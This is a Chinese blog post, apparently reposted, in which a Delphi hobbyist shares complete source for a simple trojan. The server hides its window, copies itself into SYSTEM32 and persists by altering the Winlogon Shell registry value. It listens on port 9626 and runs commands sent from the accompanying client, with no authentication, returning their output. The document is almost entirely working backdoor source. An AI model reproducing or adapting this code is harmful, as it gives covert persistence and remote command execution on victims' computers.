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刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学Delphi快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!! 程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。
1 源码如下: 2 ////Server.pas////////////// 3 unit UtMain; 4 //////////////////////////////////// 5 //////////BY lanyus//////////////// 6 ////////Email:greathjw@163.com//// 7 ////////QQ:231221//////////////// 8 ///部分代码从网上收集/////////// 9 //////////////////////////////// 10 interface 11 uses 12 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 13 Dialogs, Registry, ScktComp, StdCtrls; 14 type 15 TFmMain = class(TForm) 16 SS: TServerSocket; 17 Memo1: TMemo; 18 procedure FormCreate(Sender: TObject); 19 procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket); 20 procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket); 21 private 22 { Private declarations } 23 public 24 { Public declarations } 25 end; 26 var 27 FmMain: TFmMain; 28 reg:TRegistry; 29 implementation 30 {$R *.dfm} 31 procedure TFmMain.FormCreate(Sender: TObject); 32 var 33 sysdir:array[0..50] of char; 34 begin 35 Application.ShowMainForm:=False; 36 FmMain.Left:=-200; //运行不显示窗口 37 reg:=TRegistry.Create; 38 reg.RootKey:=HKEY_LOCAL_MACHINE; 39 reg.OpenKey(‘SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon‘,true); 40 if reg.ReadString(‘Shell‘)<> ‘EXPlorer.exe Lysvr.exe‘ then 41 reg.WriteString(‘Shell‘,‘EXPlorer.exe Lysvr.exe‘); //建立开机启动项 42 reg.Free; 43 GetSystemDirectory(sysdir,50); 44 if not FileExists(sysdir+‘\Lysvr.exe‘) then 45 copyfile(Pchar(Application.exeName),pchar(sysdir+‘\Lysvr.exe‘),true); 46 SS.Port:=9626; 47 try 48 SS.Active:=True; 49 except 50 end; 51 end; 52 procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket); 53 begin 54 Socket.SendText(‘连接成功‘); //发现有连接时回传‘连接成功 ’ 55 end; 56 procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket); 57 var 58 RemoteCmd:string; 59 hReadPipe,hWritePipe:THandle; 60 si:STARTUPINFO; 61 lsa:SECURITY_ATTRIBUTES; 62 pi:PROCESS_INFORMATION; 63 cchReadBuffer:Dword; 64 ph:PChar; 65 fname:PChar; 66 res:string; 67 begin 68 Memo1.Clear; 69 remotecmd:=Socket.ReceiveText; 70 fname:=allocmem(255); 71 ph:=AllocMem(5000); 72 lsa.nLength :=sizeof(SECURITY_ATTRIBUTES); 73 lsa.lpSecurityDescriptor :=nil; 74 lsa.bInheritHandle :=True; 75 if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then 76 begin 77 socket.SendText(‘不能创建管道‘); 78 exit; 79 end; 80 fillchar(si,sizeof(STARTUPINFO),0); 81 si.cb:=sizeof(STARTUPINFO); 82 si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW); 83 si.wShowWindow:=SW_HIDE; 84 si.hStdOutput:=hWritePipe; 85 StrPCopy(fname,remotecmd); 86 /////执行CMD命令//// 87 if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then 88 begin 89 socket.SendText(‘不能创建进程‘); 90 FreeMem(ph); 91 FreeMem(fname); 92 Exit; 93 end; 94 while(true) do 95 begin 96 if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break; 97 if cchReadBuffer<>0 then 98 begin 99 if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break; 100 ph[cchReadbuffer]:=chr(0); 101 Memo1.Lines.Add(ph); 102 end 103 else 104 if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break; 105 Sleep(100); 106 end; 107 ph[cchReadBuffer]:=chr(0); 108 Memo1.Lines.Add(ph); //memo接收回显 109 CloseHandle(hReadPipe); 110 CloseHandle(pi.hThread); 111 CloseHandle(pi.hProcess); 112 CloseHandle(hWritePipe); 113 FreeMem(ph); 114 FreeMem(fname); 115 socket.SendText(Memo1.Text); ///将回显发送回客户端 116 end; 117 end.
1 //////客户端///////////////////// 2 unit UtMain; 3 //////////////////////////////////// 4 //////////BY lanyus//////////////// 5 ////////Email:greathjw@163.com//// 6 ////////QQ:231221////////////// 7 //////////////////////////////// 8 interface 9 uses 10 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 11 Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent, 12 IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp; 13 type 14 TFmMain = class(TForm) 15 WebBrowser1: TWebBrowser; 16 Label3: TLabel; 17 Edit2: TEdit; 18 Label4: TLabel; 19 Edit3: TEdit; 20 Button2: TButton; 21 CS: TClientSocket; 22 Edit4: TEdit; 23 Label5: TLabel; 24 Memo1: TMemo; 25 BitBtn2: TBitbtn; 26 procedure Button2Click(Sender: TObject); 27 procedure CSRead(Sender: TObject; Socket: TCustomWinSocket); 28 procedure Bitbtn2Click(Sender: TObject); 29 private 30 { Private declarations } 31 public 32 { Public declarations } 33 end; 34 var 35 FmMain: TFmMain; 36 implementation 37 {$R *.dfm} 38 procedure TFmMain.Button2Click(Sender: TObject); 39 begin 40 CS.Host:=Edit2.Text; 41 CS.Port:=StrToInt(Edit3.Text); 42 CS.Open; 43 end; 44 procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket); 45 begin 46 Memo1.Clear; 47 Memo1.Lines.Add(Socket.ReceiveText); 48 Memo1.Lines.Add(‘‘); 49 end; 50 procedure TFmMain.Bitbtn2Click(Sender: TObject); 51 begin 52 CS.Socket.SendText(edit4.Text); 53 end; 54 end.
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原文地址:http://www.cnblogs.com/FKdelphi/p/4682891.html